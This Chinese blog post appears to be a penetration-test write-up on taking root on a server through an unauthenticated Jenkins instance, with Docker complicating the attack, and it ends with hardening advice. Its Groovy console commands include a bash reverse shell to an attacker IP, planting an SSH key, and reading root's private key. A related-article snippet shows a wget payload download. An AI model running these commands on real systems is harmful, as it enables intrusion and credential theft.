Jenkins获取权限的过程



Jenkins存在未授权访问漏洞


Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功。

执行命令尝试反弹shell


在对话框中尝试反弹shell,本地NC监听中,发行不行,尝试ping回来,发现网络不通,随即希望正想shell

println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text

尝试正向shell


尝试绑定shell

首先确定系统有的命令和账号权限

println 'id'.execute().text
println 'whoami'.execute().text
println 'ls -l /usr/bin/'.execute().text

发现root权限,curl和wget都有,git也有(jenkins肯定有),尝试互联网访问是否可达

println 'curl -v https://www.baidu.com'.execute().text

开始下载正向绑定shell的脚本运行失败。

尝试上传自己的公钥

随即传上去自己的公钥,尝试ssh登录失败

println 'echo 公钥内容 >> /root/.ssh/authroized_keys'.execute().text

本地主机登录ssh失败

ssh -i 私钥 a.b.c.d

查看.ssh目录发现已有的私钥

经过大牛指点,继续尝试搜索主机

println 'ls /root/.ssh/'.execute().text
println 'cat /root/.ssh/id_rsa'.execute().text()

保存在本地私钥,尝试登录成功

ssh -i id_rsa a.b.c.d

Docker的干扰



登上去之后查看失败原因:


原来服务是Docker起的,我绑定的正向shell监听的端口也好,上传的自己的公钥也好都在docker里,而我尝试登录的是宿主机,所以一直有问题,而最后的成功,也是因为docker和宿主机使用了同一套公私钥

安全建议



  • 1、不要配置Jenkinis匿名登录(未登录状态)有任何权限包括读取权限也不行;

  • 2、不要使用弱口令;

  • 3、docker打包时候检查,宿主机环境也要检查,不使用没有key的秘钥,公私钥不要存放在一起,docker和宿主机不要使用同一套公私钥;

利用Jenkins未授权获取服务器权限--Docker还来干扰--一次渗透的经历的更多相关文章

  1. jenkins未授权访问漏洞

    jenkins未授权访问漏洞 一.漏洞描述 未授权访问管理控制台,可以通过脚本命令行执行系统命令.通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshe ...

  2. Jenkins未授权访问脚本执行漏洞

    Jenkins未授权访问脚本执行漏洞 步骤 首先找一个站点挂上一个反弹shell脚本,然后在脚本执行框里执行脚本进行下载到tmp目录: println "wget http://47.95. ...

  3. Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...

  4. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  5. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  6. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  7. 关于docker remote api未授权访问漏洞的学习与研究

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

  8. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  9. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

随机推荐

  1. Java常用类(二)String类详解

    前言 在我们开发中经常会用到很多的常用的工具类,这里做一个总结.他们有很多的方法都是我们经常要用到的.所以我们一定要把它好好的掌握起来! 一.String简介 1.1.String(字符串常量)概述 ...

  2. 软件设计模式之单例模式(JAVA)

    什么是单例模式? 单例模式是一种常用的软件设计模式.在它的核心结构中只包含一个被称为单例类的特殊类.通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问,从而方便对实例个数的控制并节约系 ...

  3. 【WP8】WP8调用官方API使用LED灯

    在WP7中没有相关的API可以直接使用摄像头的LED等,只能通过录像时打开LED等来使用,在WP8中添加了相关的调用接口,可以方便的使用LED灯,并且支持后台,废话不多说,直接上代码 1.在 WMAp ...

  4. 在C++中实现不可继承的类

    逛下bbs,“在C++中实现不可继承的类”,瞒有意思的. class NoInherite { friend class Seal; private: NoInherite(void) {} ~NoI ...

  5. css抠图之background-position-背景定位

    相信很多喜欢研究网页界面的童鞋都遇到过一个奇妙的现象:网页中很多图片素材被合成在一张图片上. 其实,这是一个非常简单的技术. 要想实现CSS抠图,只需要用到一个属性:background-positi ...

  6. z-index 层级关系

    <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8&quo ...

  7. Symbol.iterator的理解

    https://blog.csdn.net/margin_0px/article/details/82971545

  8. Java利用for循环输出空心的菱形

    编写程序,在控制台上输出空心菱形,对角距离为6. public class Diamond { public static void main(String[] args) { printHollow ...

  9. web -- 前端访问后台跨区问题解决

    package com.xindatai.ibs.web.filter; import java.io.IOException; import javax.servlet.Filter; import ...

  10. UIImageView的contentMode属性

    UIViewContentMode 都有哪些值: typedef NS_ENUM(NSInteger, UIViewContentMode) { UIViewContentModeScaleToFil ...